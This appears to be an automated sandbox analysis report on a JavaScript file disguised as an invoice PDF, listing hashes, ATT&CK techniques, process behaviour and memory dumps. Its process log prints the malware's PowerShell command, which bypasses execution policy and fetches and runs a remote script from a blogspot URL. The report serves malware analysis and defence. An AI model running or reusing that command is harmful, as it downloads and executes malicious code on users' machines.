b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8

Analysis

max time kernel
122s
max time network
123s
platform
windows7_x64
resource
win7-20240220-en
resource tags

arch:x64arch:x86image:win7-20240220-enlocale:en-usos:windows7-x64system
submitted
06-05-2024 06:21

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General

Target

lnvoice-1205700442.pdf (4).js
Size

1.8MB
MD5

fffee7bcbf8f724b68d02ebe0c5a133b
SHA1

739696c36214a1a37f382b4da835ba44d2665027
SHA256

b9b4fb770fdb055d474f1a54886bdc380c22afa777a3a0aeaf42a04dcb6a56a8
SHA512

3f2bd2aa6b5cb22aa0c2042fa3af032c83b55f7e5407344cdb502abaf33b3e42d2e0073540226e6a8f3e09f3495ddbc339bfa29a38e420f11583632aa55fe8f4
SSDEEP

768:cNWDuYelMVBbnPOgADSb8O/b64/jWsYOS+Hu8N0RNta7SuHiHwdcU6AH6xgO:JewBbnPOgnh/6OSAuNA6H9AH83

Score

3^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: JavaScript 1 TTPs
execution

JavaScript
T1059.007
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

2576 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 2576 powershell.exe

pid	process
2576	powershell.exe

description	pid	process
Token: SeDebugPrivilege	2576	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

Processes:

wscript.exe

description	pid	process	target process
PID 2072 wrote to memory of 2576	2072	wscript.exe	powershell.exe
PID 2072 wrote to memory of 2576	2072	wscript.exe	powershell.exe
PID 2072 wrote to memory of 2576	2072	wscript.exe	powershell.exe

C:\Windows\system32\wscript.exe
wscript.exe "C:\Users\Admin\AppData\Local\Temp\lnvoice-1205700442.pdf (4).js"
1⤵
- Suspicious use of WriteProcessMemory
PID:2072

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2576

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Command and Scripting Interpreter

T1059

JavaScript

T1059.007

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Resource Development

Reconnaissance

Replay Monitor

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Downloads

memory/2576-4-0x000007FEF5EBE000-0x000007FEF5EBF000-memory.dmp

Filesize
4KB

Download
memory/2576-5-0x000000001B700000-0x000000001B9E2000-memory.dmp

Filesize
2.9MB

Download
memory/2576-7-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-6-0x0000000002720000-0x0000000002728000-memory.dmp

Filesize
32KB

Download
memory/2576-9-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-8-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-10-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download
memory/2576-11-0x000007FEF5C00000-0x000007FEF659D000-memory.dmp

Filesize
9.6MB

Download